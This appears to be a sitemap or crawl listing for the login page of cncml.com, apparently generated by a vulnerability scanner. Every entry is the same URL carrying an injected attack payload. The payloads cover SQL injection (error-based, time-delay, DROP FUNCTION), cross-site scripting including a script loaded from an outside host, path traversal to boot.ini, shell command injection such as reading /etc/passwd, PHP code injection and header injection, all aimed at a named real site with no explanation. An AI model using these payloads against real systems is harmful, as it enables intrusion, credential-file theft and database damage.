http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes%25'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes%25'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes%25'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes%25'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes%25'%20AND%2041=41%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes%25'%20AND%2094=36%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(28=64)%20THEN%20'yes'%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(69=69)%20THEN%20'yes'%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes%25';%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes%2527 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes%2527%20AND%2022=22%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes%2527%20AND%2041=14%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes%3CBASE%20HREF=%22javascript:alert(42873);//%22%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes%3CEMBED%20SRC=javascript:alert(42873)%3E%3C/EMBED%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes%3Ca%20href%3D%26%23106%26%2397%26%23118%26%2397%26%23115%26%2399%26%23114%26%23105%26%23112%26%23116%26%2358%26%2397%26%23108%26%23101%26%23114%26%23116%26%2340%26%2349%26%2350%26%2351%26%2352%26%2353%26%2341%3ETEST%3C/a%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes%3Cbody%20ONLOAD=alert(42873)%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes%3Cdiv%20style=width:expression(alert(42873))%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes%3Ciframe%20SRC=javascript:alert(42873)%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes%3Ciframe%20src=http://xxooxxoo.js%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes%3Cimg%20src=1%20onerror=alert(42873)%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes%3Cobject%20data=data:text/html;base64,PHNjcmlwdD5hbGVydCg0Mjg3Myk8L3NjcmlwdD4=%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes%3Cscript%20src=http://xxooxxoo.js%3E%3C/script%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes%3Cscript%3Ealert(42873)%3C/script%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes%5B%5D 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes%5C%22 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes%5C' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes%a8%a4%00xa7%a8%a4%a1%e9 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes%bf%27 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes'%20AND%20'ro'='BC 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes'%20AND%20'uq'='uq 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'Ta'='Ta 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'TnT'='TnT 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes'%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes'%20OR%20'24'='24'%20LIMIT%20100%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(43=37)%20THEN%20'yes'%20ELSE%200x28%20END))%20AND%20'Fs'='Fs 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(58=58)%20THEN%20'yes'%20ELSE%200x28%20END))%20AND%20'8V'='8V 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes'%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes'%22 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes'%22%5C'%5C%22%2527%3d%bf%27%B0 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes'%5B.%5D(,.)(%22 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes')%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20('NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes')%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20('Ta'='Ta 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes')%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes')%20AND%2031=88%20AND%20('HW'='HW 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes')%20AND%2065=65%20AND%20('aT'='aT 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes')%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes')%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(19=20)%20THEN%20'yes'%20ELSE%200x28%20END))%20AND%20('CS'='CS 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(83=83)%20THEN%20'yes'%20ELSE%200x28%20END))%20AND%20('ge'='ge 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes')%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes'))%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes'),(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes',(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes';%20IF(13=51)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes';%20IF(34=34)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes';%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes)%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20(2014=2014 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes)%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20(2014=2014 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes)%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes)%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes)%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes)%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes),(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes);%20IF(26=26)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes);%20IF(62=86)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes,(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes6633x3X6 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yesAND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yesJyI%3D 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yesalert(42873) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yese360 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&guestmessage=yes 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&handlekey=&infloat=yes&inajax=yes&guestmessage=yes 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=$%7B@print(md5(1122))%7D 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=%0d%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=%0d%0a%20SomeCustomInjectedHeader:injected_by_test 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=%3C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=%3C?php%20print(md5(1122));exit;?%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=%3Cdir 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=%60ping%20-c%205%20127.0.0.1%60 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=%7C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=%7Cping%20-n%205%20127.0.0.1%7C 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=%7Cping+-c+4+127.0.0.1 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afboot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage='%5D;print(md5(1122));// 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=');print(md5(1122));// 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=';?%3E%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=(SELECT%20(CASE%20WHEN%20(12=28)%20THEN%200x66726F6D6D657373616765%20ELSE%2012*(SELECT%2012%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=(SELECT%20CHAR(116)%2bCHAR(104)%2bCHAR(105)%2bCHAR(110)%2bCHAR(107)%2bCHAR(58)%2b(SELECT%20(CASE%20WHEN%20(1943=1943)%20THEN%20CHAR(105)%20ELSE%20CHAR(48)%20END))%2bCHAR(58)%2bCHAR(100)%2bCHAR(105)%2bCHAR(102)%2bCHAR(102)%2bCHAR(101)%2bCHAR(114)%2bCHAR(101)%2bCHAR(110)%2bCHAR(116)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afboot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=................windowswin.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././boot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=../../../../../../../../boot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=../../../../../../../../boot.ini%00 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=../../../../../../../../boot.ini%00.htm 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=../../../../../../../../boot.ini%00.html 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=../../../../../../../../boot.ini%00.jpg 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=../../../../../../../../boot.ini%00.txt 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=../..//../..//../..//../..//../..//../..//../..//../..//boot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=/.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./boot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=;$%7B@print(md5(1122))%7D; 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=;cat%20/etc/passwd; 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=;print(md5(1122));%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=C:%5Cboot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=data:text/plain,%3C%3Fphp%20print%28md5%281122%29%29%3B%3F%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=die(md5($_get%5Bwebscan%5D));&webscan=1122 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=dir 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=file:///c:/boot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage 0.0014 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage!(%28%29&%26%21%7C*%7C%2A%7C 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage%00' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage%20 0.0001 